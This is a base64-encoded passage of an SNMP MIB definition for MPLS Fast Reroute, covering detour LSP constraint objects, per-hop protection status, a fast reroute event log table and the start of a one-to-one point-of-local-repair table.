VFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAgICAg
ICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFu
IGluc3RhbmNlIG9mIHRoaXMgdHVubmVsIGZvciB3aGljaCBmYXN0DQogICAgICAgICAgcmVyb3V0
ZSBpcyByZXF1ZXN0ZWQuDQoNCiAgICAgICAgIC0gbG93ZXIgMTYgYml0cyA6IHByb3RlY3RlZCB0
dW5uZWwgaW5zdGFuY2UNCiAgICAgICAgIC0gaGlnaGVyIDE2IGJpdHM6IG11c3QgYmUgYWxsIHpl
cm9zIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDMgfQ0KDQogICAgbXBsc0ZyckNv
bnN0UHJvdGVjdGlvblR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElOVEVH
RVIgeyBub25lKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtQcm90ZWN0
aW9uKDEpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vZGVQcm90ZWN0aW9uKDIp
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICBNQVgtQUNDRVNTICAgIHJl
YWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJJbmRpY2F0ZXMgdHlwZSBvZiB0aGUgcmVzb3VyY2UgcHJvdGVjdGlvbi4i
DQogICAgICAgREVGVkFMIHsgbm9kZVByb3RlY3Rpb24gfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJD
b25zdEVudHJ5IDQgfQ0KDQogICAgbXBsc0ZyckNvbnN0U2V0dXBQcmlvIE9CSkVDVC1UWVBFDQog
ICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAgIE1BWC1BQ0NFU1Mg
ICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVND
UklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgc2V0dXAgcHJpb3JpdHkgb2YgZGV0b3Vy
IExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNWUC1URTogRXh0ZW5zaW9u
cyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwNCiAgICAgICAgICBSRkMg
MzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyA3IH0NCiAgICAgICA6Oj0geyBt
cGxzRnJyQ29uc3RFbnRyeSA1IH0NCg0KICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvIE9CSkVD
VC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAgIE1B
WC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgaG9sZGluZyBwcmlvcml0
eSBmb3IgZGV0b3VyIExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNWUC1U
RTogRXh0ZW5zaW9ucyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwNCiAg
ICAgICAgICBSRkMgMzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyAwIH0NCiAg
ICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA2IH0NCg0KICAgIG1wbHNGcnJDb25zdEluY2xB
bnlBZmZpbml0eSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEFm
ZmluaXR5DQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQSBsaW5rIHNhdGlz
ZmllcyB0aGUgaW5jbHVkZS1hbnkgY29uc3RyYWludCBpZiBhbmQgb25seSBpZiB0aGUNCiAgICAg
ICAgICBjb25zdHJhaW50IGlzIHplcm8sIG9yIHRoZSBsaW5rIGFuZCB0aGUgY29uc3RyYWludCBo
YXZlIGENCiAgICAgICAgICByZXNvdXJjZSBjbGFzcyBpbiBjb21tb24uIg0KICAgICAgIFJFRkVS
RU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQIFR1
bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZDIDMyMDksIERlY2VtYmVyIDIwMDEu
Ig0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDcg
fQ0KDQogICAgbXBsc0ZyckNvbnN0SW5jbEFsbEFmZmluaXR5IE9CSkVDVC1UWVBFDQogICAgICAg
U1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAgICAgICBNQVgtQUNDRVNTICAgIHJl
YWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBpbmNsdWRlLWFsbCBjb25zdHJhaW50
IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsgY29udGFpbnMgYWxsIG9mIHRoZSBh
ZG1pbmlzdHJhdGl2ZSBncm91cHMgc3BlY2lmaWVkIGluIHRoZQ0KICAgICAgICAgIGNvbnN0cmFp
bnQuIg0KICAgICAgIFJFRkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMg
dG8gUlNWUCBmb3IgTFNQIFR1bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZDIDMy
MDksIERlY2VtYmVyIDIwMDEuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7IG1w
bHNGcnJDb25zdEVudHJ5IDggfQ0KDQogICAgbXBsc0ZyckNvbnN0RXhjbEFueUFmZmluaXR5IE9C
SkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAgICAg
ICBNQVgtQUNDRVNTICAgIHJlYWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBleGNs
dWRlLWFsbCBjb25zdHJhaW50IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsgY29u
dGFpbnMgbm9uZSBvZiB0aGUgYWRtaW5pc3RyYXRpdmUgZ3JvdXBzIHNwZWNpZmllZCBpbiB0aGUN
CiAgICAgICAgICBjb25zdHJhaW50LiINCiAgICAgICBSRUZFUkVOQ0UNCiAgICAgICAgICIxLiBS
U1ZQLVRFOiBFeHRlbnNpb25zIHRvIFJTVlAgZm9yIExTUCBUdW5uZWxzLCBBd2R1Y2hlIGV0IGFs
LA0KICAgICAgICAgIFJGQyAzMjA5LCBEZWNlbWJlciAyMDAxLiINCiAgICAgICBERUZWQUwgeyAw
IH0NCiAgICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA5IH0NCg0KICAgIG1wbHNGcnJDb25z
dEhvcExpbWl0IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgx
Li4yNTUpDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhlIG1heGltdW0g
bnVtYmVyIG9mIGhvcHMgdGhhdCB0aGUgZGV0b3VyIExTUCBtYXkgdHJhdmVyc2UuIg0KICAgICAg
IFJFRkVSRU5DRQ0KICAgICAgICAgIlBhbiwgUC4sIEdhbiwgRC4sIFN3YWxsb3csIEcuLCBWYXNz
ZXVyLCBKLlBoLiwgQ29vcGVyLCBELiwNCiAgICAgICAgIEF0bGFzLCBBLiwgSm9yaywgTS4sIEZh
c3QgUmVyb3V0ZSBUZWNobmlxdWVzIGluIFJTVlAtVEUsIGRyYWZ0LQ0KICAgICAgICAgaWV0Zi1t
cGxzLXJzdnAtbHNwLWZhc3RyZXJvdXRlLTAwLnR4dCwgSmFudWFyeSAyMDAyLiBXb3JrIGluDQog
ICAgICAgICBwcm9ncmVzcy4iDQogICAgICAgREVGVkFMIHsgMzIgfQ0KICAgIDo6PSB7IG1wbHNG
cnJDb25zdEVudHJ5IDEwIH0NCg0KICAgIG1wbHNGcnJDb25zdEJhbmR3aWR0aCBPQkpFQ1QtVFlQ
RQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZWdlcjMyDQogICAgICAgTUFYLUFDQ0VTUyAgICBy
ZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAiVGhpcyB2YXJpYWJsZSByZXByZXNlbnRzIHRoZSBiYW5kd2lkdGggZm9y
IGRldG91ciBMU1BzIG9mIHRoaXMNCiAgICAgICAgIHR1bm5lbCwgaW4gdW5pdHMgb2YgdGhvdXNh
bmRzIG9mIGJpdHMgcGVyIHNlY29uZCAoS2JwcykuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAg
ICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDExIH0NCg0KICAgIG1wbHNGcnJDb25zdFJvd1N0
YXR1cyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgUm93U3RhdHVzDQogICAgICAg
TUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBvYmplY3QgaXMgdXNlZCB0byBjcmVh
dGUsIG1vZGlmeSwgYW5kL29yIGRlbGV0ZSBhIHJvdyBpbg0KICAgICAgICAgIHRoaXMgdGFibGUu
Ig0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDEyIH0NCg0KICAgIC0tIE1QTFMgRmFz
dCBSZXJvdXRlIFR1bm5lbCBBY3R1YWwgUm91dGUgSG9wIHRhYmxlDQoNCiAgICBtcGxzRnJyVHVu
QVJIb3BUYWJsZSAgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgU0VRVUVO
Q0UgT0YgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAgICAgICBNQVgtQUNDRVNTICAgICAgICAgbm90
LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgICAgICAgY3VycmVudA0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhvcCB0
YWJsZSBkZWZpbmVkIGluIHRoZQ0KICAgICAgICAgIE1QTFMtVEUgTUlCIHdpdGggZmFzdC1yZXJv
dXRlIG9iamVjdHMgd2hpY2ggc3BlY2lmaWVzIHRoZSBzdGF0dXMNCiAgICAgICAgICBvZiBsb2Nh
bCBwcm90ZWN0aW9uIChhdmFpbGFiaWxpdHkgYW5kIGluLXVzZSkgcGVyIGhvcCB0cmF2ZXJzZWQN
CiAgICAgICAgICBieSBhIHByb3RlY3RlZCB0dW5uZWwuIg0KICAgICAgIDo6PSB7ICBtcGxzRnJy
R2VuZXJhbE9iamVjdHMgMiB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BFbnRyeSAgT0JKRUNULVRZ
UEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAgICAg
ICBNQVgtQUNDRVNTICAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAg
ICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBlbnRyeSBj
b250YWlucyBmYXN0LXJlcm91dGUgcHJvdGVjdGlvbiBzdGF0dXMgb2YgYSBzaWdubGUNCiAgICAg
ICAgICBwcm90ZWN0ZWQgdHVubmVsIGhvcC4iDQogICAgICAgQVVHTUVOVFMgeyBtcGxzVHVubmVs
QVJIb3BFbnRyeSB9DQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFSSG9wVGFibGUgMSB9DQoNCiAg
ICBtcGxzRnJyVHVubkFSSG9wRW50cnkgICAgOjo9IFNFUVVFTkNFIHsNCiAgICAgICAgbXBsc0Zy
clR1bkFSSG9wUHJvdGVjdEF2YWlsYWJsZSBUcnV0aFZhbHVlLA0KICAgICAgICBtcGxzRnJyVHVu
QVJIb3BQcm90ZWN0SW5Vc2UgICAgIFRydXRoVmFsdWUsDQogICAgICAgIG1wbHNGcnJUdW5BUkhv
cEJhbmR3aWR0aFByb3RlY3QgVHJ1dGhWYWx1ZSwNCiAgICAgICAgbXBsc0ZyclR1bkFSSG9wTm9k
ZVByb3RlY3QgICAgICBUcnV0aFZhbHVlDQogICAgfQ0KDQogICAgbXBsc0ZyclR1bkFSSG9wUHJv
dGVjdEF2YWlsYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgICAgICAgICAg
ICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgICAgICAgICAgICAgICAgcmVh
ZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50DQogICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hldGhlciBs
b2NhbCBwcm90ZWN0aW9uIHByb3ZpZGVkDQogICAgICAgICAgYnkgZmFzdC1yZXJvdXRlIGlzIGF2
YWlsYWJsZSBhdCB0aGlzIGhvcC4iDQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFySG9wRW50cnkg
MSB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BQcm90ZWN0SW5Vc2UgICAgIE9CSkVDVC1UWVBFDQog
ICAgICAgU1lOVEFYICAgICAgICAgICAgICAgICAgICAgICBUcnV0aFZhbHVlDQogICAgICAgTUFY
LUFDQ0VTUyAgICAgICAgICAgICAgICAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAg
ICAgICAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRo
aXMgb2JqZWN0IGluZGljYXRlcyB3aGV0aGVyIGxvY2FsIHByb3RlY3Rpb24gcHJvdmlkZWQNCiAg
ICAgICAgICBieSBmYXN0LXJlcm91dGUgaXMgaW4gdXNlIGF0IHRoaXMgaG9wLiINCiAgICAgICA6
Oj0geyBtcGxzRnJyVHVuQVJIb3BFbnRyeSAyIH0NCg0KICAgIG1wbHNGcnJUdW5BUkhvcEJhbmR3
aWR0aFByb3RlY3QgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgICAgICAg
ICAgIFRydXRoVmFsdWUNCiAgICAgICBNQVgtQUNDRVNTICAgICAgICAgICAgICAgICAgIHJlYWQt
b25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBvYmplY3QgaW5kaWNhdGVzIHdoZXRoZXIgYmFu
ZHdpZHRoIHByb3RlY3Rpb24gDQogICAgICAgICAgaXMgcHJvdmlkZWQgYnkgdGhpcyBob3AuIg0K
ICAgICAgIDo6PSB7IG1wbHNGcnJUdW5BckhvcEVudHJ5IDMgfQ0KDQogICAgbXBsc0ZyclR1bkFS
SG9wTm9kZVByb3RlY3QgICAgICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgICAg
ICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgICAgICAgICAgICAg
ICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hl
dGhlciBub2RlIHByb3RlY3Rpb24NCiAgICAgICAgICBpcyBwcm92aWRlZCBieSB0aGlzIGhvcC4i
DQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFySG9wRW50cnkgNCB9DQoNCiAgICAtLSBGYXN0IFJl
cm91dGUgTG9nIFRhYmxlDQoNCiAgICBtcGxzRnJyTG9nVGFibGUgT0JKRUNULVRZUEUNCiAgICAg
ICAgU1lOVEFYICAgICAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckxvZ0VudHJ5DQogICAgICAg
IE1BWC1BQ0NFU1MgICAgICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgIFNUQVRVUyAgICAgICAg
ICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJUaGUgZmFzdCBy
ZXJvdXRlIGxvZyB0YWJsZSByZWNvcmRzIGZhc3QgcmVyb3V0ZSBldmVudHMgc3VjaA0KICAgICAg
ICAgICAgIGFzIHByb3RlY3RlZCBsaW5rcyBnb2luZyB1cCBvciBkb3duIG9yIHRoZSBGUlIgZmVh
dHVyZQ0KICAgICAgICAgICAgIGtpY2tpbmcgaW4uIg0KICAgIDo6PSB7IG1wbHNGcnJHZW5lcmFs
T2JqZWN0cyAyIH0NCg0KICAgIG1wbHNGcnJMb2dFbnRyeSBPQkpFQ1QtVFlQRQ0KICAgICAgICBT
WU5UQVggICAgICAgICAgICBNcGxzRnJyTG9nRW50cnkNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAg
ICAgbm90LWFjY2Vzc2libGUNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAgY3VycmVudA0KICAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIkFuIGVudHJ5IGluIHRoaXMgdGFibGUgaXMg
Y3JlYXRlZCB0byBkZXNjcmliZSBvbmUgZmFzdA0KICAgICAgICAgICAgIHJlcm91dGUgZXZlbnQu
ICBFbnRyaWVzIGluIHRoaXMgdGFibGUgYXJlIG9ubHkgY3JlYXRlZCBhbmQNCiAgICAgICAgICAg
ICBkZXN0cm95ZWQgYnkgdGhlIGFnZW50IGltcGxlbWVudGF0aW9uLiBUaGUgbWF4aW11bSBudW1i
ZXINCiAgICAgICAgICAgICBvZiBlbnRyaWVzIGluIHRoaXMgbG9nIGlzIGdvdmVybmVkIGJ5IHRo
ZSBzY2FsYXIuIg0KICAgICAgICBJTkRFWCB7IG1wbHNGcnJMb2dJbmRleCB9DQogICAgOjo9IHsg
bXBsc0ZyckxvZ1RhYmxlIDEgfQ0KDQogICAgTXBsc0ZyckxvZ0VudHJ5IDo6PSBTRVFVRU5DRSB7
DQogICAgICAgIG1wbHNGcnJMb2dJbmRleCAgICAgICAgICAgICAgICBVbnNpZ25lZDMyLA0KICAg
ICAgICBtcGxzRnJyTG9nRXZlbnRUaW1lICAgICAgICAgICAgVGltZVN0YW1wLA0KICAgICAgICBt
cGxzRnJyTG9nSW50ZXJmYWNlICAgICAgICAgICAgSW50ZXJmYWNlSW5kZXhPclplcm8sDQogICAg
ICAgIG1wbHNGcnJMb2dFdmVudFR5cGUgICAgICAgICAgICBJTlRFR0VSLA0KICAgICAgICBtcGxz
RnJyTG9nRXZlbnREdXJhdGlvbiAgICAgICAgVGltZVRpY2tzLA0KICAgICAgICBtcGxzRnJyTG9n
RXZlbnRSZWFzb25TdHJpbmcgICAgT0NURVQgU1RSSU5HDQogICAgfQ0KDQogICAgbXBsc0Zyckxv
Z0luZGV4IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFVuc2lnbmVkMzIN
CiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICAgU1RBVFVT
ICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlVu
aXF1ZWx5IGlkZW50aWZpZXMgYSBmYXN0IHJlcm91dGUgZXZlbnQgZW50cnkuIg0KICAgIDo6PSB7
IG1wbHNGcnJMb2dFbnRyeSAxIH0NCg0KICAgIG1wbHNGcnJMb2dFdmVudFRpbWUgT0JKRUNULVRZ
UEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgVGltZVN0YW1wDQogICAgICAgIE1BWC1BQ0NF
U1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQog
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhpcyBvYmplY3QgcHJvdmlkZXMgdGhl
IGFtb3VudCBvZiB0aW1lIHRpY2tzIHNpbmNlIHRoaXMNCiAgICAgICAgICAgICBldmVudCBvY2N1
cmVkLiINCiAgICA6Oj0geyBtcGxzRnJyTG9nRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyTG9nSW50
ZXJmYWNlIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIEludGVyZmFjZUlu
ZGV4T3JaZXJvDQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBT
VEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAg
ICAiVGhpcyBvYmplY3QgaW5kaWNhdGVzIHdoaWNoIGludGVyZmFjZSB3YXMgYWZmZWN0ZWQgYnkg
dGhpcw0KICAgICAgICAgICAgIEZSUiBldmVudC4gVGhpcyB2YWx1ZSBtYXkgYmUgc2V0IHRvIDAg
aWYNCiAgICAgICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBv
bmVUb09uZUJhY2t1cCgwKS4iDQogICAgOjo9IHsgbXBsc0ZyckxvZ0VudHJ5IDMgfQ0KDQogICAg
bXBsc0ZyckxvZ0V2ZW50VHlwZSBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgSU5URUdF
UiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBvdGhlcigxKSwNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHByb3RlY3RlZCgyKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAg
ICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhpcyBvYmpl
Y3QgZGVzY3JpYmVzIHdoYXQgdHlwZSBvZiBmYXN0IHJlcm91dGUgZXZlbnQNCiAgICAgICAgICAg
ICBvY2N1cmVkLiINCiAgICA6Oj0geyBtcGxzRnJyTG9nRW50cnkgNCB9DQoNCiAgICBtcGxzRnJy
TG9nRXZlbnREdXJhdGlvbiBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBU
aW1lVGlja3MNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAgIFNU
QVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAg
ICJUaGlzIG9iamVjdCBkZXNjcmliZXMgdGhlIGR1cmF0aW9uIG9mIHRoaXMgZXZlbnQuIg0KICAg
IDo6PSB7IG1wbHNGcnJMb2dFbnRyeSA1IH0NCg0KICAgIG1wbHNGcnJMb2dFdmVudFJlYXNvblN0
cmluZyBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBPQ1RFVCBTVFJJTkcg
KFNJWkUoMTI4KSkNCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAg
IFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICAgICJUaGlzIG9iamVjdCBjb250YWlucyBhbiBpbXBsZW1lbnRhdGlvbi1zcGVjaWZpYyBleHBs
YW5hdGlvbg0KICAgICAgICAgICAgb2YgdGhlIGV2ZW50LiINCiAgICA6Oj0geyBtcGxzRnJyTG9n
RW50cnkgNiB9DQoNCg0KICAgIC0tDQogICAgLS0gT25lLXRvLU9uZSBTcGVjaWZpYyBUYWJsZXMN
CiAgICAtLQ0KICAgIC0tIFRhYmxlcyBpbiB0aGlzIHNlY3Rpb24gcGVydGFpbiBvbmx5IHRvIHRo
ZSAxLTENCiAgICAtLSBzdHlsZSBvZiBGUlIuDQogICAgLS0NCg0KDQogICAgLS0gTVBMUyBGYXN0
IFJlcm91dGUgUG9pbnQgb2YgTG9jYWwgUmVwYWlyIHRhYmxlDQoNCiAgICBtcGxzRnJyT25lMk9u
ZVBsclRhYmxlICBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgU0VRVUVOQ0UgT0Yg
TXBsc0Zyck9uZTJPbmVQbHJFbnRyeQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2li
bGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAg
ICAgICAgIlRoaXMgdGFibGUgc2hvd3MgdGhlIGxpc3RzIG9mIFBMUnMgdGhhdCBpbml0aWF0ZWQg
ZGV0b3VyIExTUHMNCiAgICAgICAgIHdoaWNoIGFmZmVjdCB0aGlzIG5vZGUuIg0KICAgICAgIDo6
PSB7IG1wbHNGcnIxdG8xT2JqZWN0cyAxIH0NCg0KICAgIG1wbHNGcnJPbmUyT25lUGxyRW50cnkg
IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzRnJyT25lMk9uZVBsckVudHJ5
DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAg
ICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQW4gZW50cnkgaW4gdGhp
cyB0YWJsZSByZXByZXNlbnRzIGEgUExSIHRvZ2V0aGVyIHdpdGggaXRzDQogICAgICAgICBkZXRv
dXIgaW5zdGFuY2UuIEFuIGVudHJ5IGluIHRoaXMgdGFibGUgaXMgb25seSBjcmVhdGVkIGJ5IGFu
DQogICAgICAgICBTTk1QIGFnZW50IGFzIGluc3RydWN0ZWQgYnkgYW4gTVBMUyBzaWduYWxpbmcg
cHJvdG9jb2wuIg0KICAgICAgIElOREVYIHsgbXBsc0Zyck9uZTJPbmVQbHJUdW5JZHgsICAgICAg
IC0tIGZyb20gTVBMUy1URSBNSUINCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVu
RGV0b3VySW5zdCwtLSBtcGxzVHVubmVsVGFibGUNCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuSW5nckxTUklkLCAtLSBUdW5uZWxzIG11c3QgZXhpc3QNCiAgICAgICAgICAgICAg
IG1wbHNGcnJPbmUyT25lUGxyVHVuRWdyTFNSSWQsICAtLSBhIHByaW9yaQ0KICAgICAgICAgICAg
ICAgbXBsc0Zyck9uZTJPbmVQbHJJZCAgICB9DQogICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQ
bHJUYWJsZSAxIH0NCg0KICAgIE1wbHNGcnJPbmUyT25lUGxyRW50cnkgOjo9IFNFUVVFTkNFIHsN
CiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bklkeCAgICAgICAgIE1wbHNUdW5uZWxJbmRl
eCwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QgIE1wbHNUdW5uZWxJ
bnN0YW5jZUluZGV4LA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuSW5nckxTUklkICAg
TXBsc0xzcklkZW50aWZpZXIsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5FZ3JMU1JJ
ZCAgICBNcGxzTHNySWRlbnRpZmllciwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBscklkICAg
ICAgICAgICAgIE1wbHNMc3JJZGVudGlmaWVyLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxy
U2VuZGVyQWRkclR5cGUgSW5ldEFkZHJlc3NUeXBlLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25l
